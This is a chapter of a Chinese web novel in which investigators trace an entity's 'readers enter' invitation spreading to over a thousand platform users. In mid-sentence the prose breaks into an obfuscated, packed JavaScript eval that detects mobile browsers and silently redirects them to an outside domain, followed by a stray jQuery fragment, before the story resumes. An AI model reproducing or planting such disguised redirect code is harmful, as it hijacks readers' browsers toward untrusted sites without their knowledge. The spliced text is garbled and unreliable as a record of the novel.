早纪醒来的时候,已经过了半夜。
她没有立刻认出病房。意识回来的最初几秒,天花板仍旧像城堡顶层被雨泡烂的穹顶,输液架投在墙上的影子则像一只垂下来的铁笼。她猛地缩起身体,牵动手背上的针头,监护仪发出急促的提示音。
白山连忙按住床边的呼叫器。他头上的数字心电图机随着病人的心率一起乱跳,屏幕里那条线差点蹦出边框。
“这里是医院。”他尽量放轻声音,“门没有锁。窗户也封好了。你现在看见的东西都是真的。”早纪怔怔地看着他,视线越过白山,落在闻讯赶来的源心身上。
源心已经换回了异防部的外套。医生不同意她出院,她便把出院申请、风险告知和免责材料一口气签完,勉强换来一句“出了问题自己负责”。她的脸色仍旧苍白,走路时肩背却挺得很直,仿佛前天差点从二十一楼掉下去的另有其人。
“城堡里发生了什么?”她问。
早纪的嘴唇动了动。
最先出来的不是答案,而是一阵毫无意义的气声。她似乎仍能听见那些人在门外用指甲挠墙,听见游乐园音乐在楼梯间一遍遍变调。
白山正要让她停止回忆,她忽然抓紧被角,挤出了一句话。
“她说……”源心俯下身。
早纪的眼睛没有看任何人。
“读者也该入场了。”
病房里静了两秒。白山头上的心电图机发出一声很轻的“滴”。源心却仿佛听见了警报。她没有继续追问,而是立刻拿出通讯器。
同一时间,不死神探事务所借来的临时终端里,归零也找到了一份名单。
准确来说,那不是一份完整文件,而是散落在不同平台缓存、账号收藏、打赏记录和私信草稿里的同一组数据。
蓝花平台的读者账号、R18G站点的付费用户、推文号评论区里最活跃的昵称、被一种几乎看不见的标记串在一起。
标记没有写罪名,也没有写选择标准,只用乱码写了句:歡迎?來到?我?的?世?界?。
时间不定,地点不明。
归零把名单投到半空。白色小光点在密集的昵称间来回移动,“她在第二次委托里拖住了我们。”
不死途正把源心那支录音笔放回内袋。听见这句话,他没有表现出意外,只把帽檐稍稍压低。
“不是为了杀死早纪小姐。”
“也不是为了和我们玩二选一。”归零说,“那些都只是测试。她在确认自己能不能一次卷入多人,能不能让角色身份覆盖真实身份,能不能把幻境留在受害者脑子里。”
终端页面忽然全部闪了一下。一张电子邀请函从名单里浮出来。
上面没有血迹,没有威
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718563|208559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
胁,没有“审判”或者“偿命”之类的字眼。淡金色边框,柔软的水墨背景,右下角甚至有蓝花平台常见的活动分享按钮。
邀请函中央写着:《怜川旧梦》特别场。读者入场。
下方还有一行字体更小的宣传语:“你曾经隔着屏幕,为这些故事叫好。现在,请亲自走进故事。”
智械试图删除邀请函。页面消失不到半秒,又从另一名用户的私信栏里冒出来;她封锁转发接口,它便变成图片缓存;她切断平台节点,它又借着打赏通知、订单提醒和短视频字幕继续扩散。
“不是病毒。”她说,“至少不只是病毒。她把邀请函埋进了每个人已经留下的痕迹里。”
不死途看着那句“读者入场”。
“多少人收到?”
“能追溯到的有一千多人。”她顿了一顿,补充道,“大概一千三百多人。”
“集合地点……”侦探微微蹙眉。一场硬仗要开始了,“通知源心吧,由异防部组织,优先排查中心广场,步行街,世贸中心,公园这类人群聚集的地方,避免造成大规模动荡。”
“已经通知了。”归零停了一下,“还有一件事。”
“我能感觉到,她上次离开前的信号,都在回流。”
不死途推开了门。
“她终于能用原本的模样,来应对我们了。”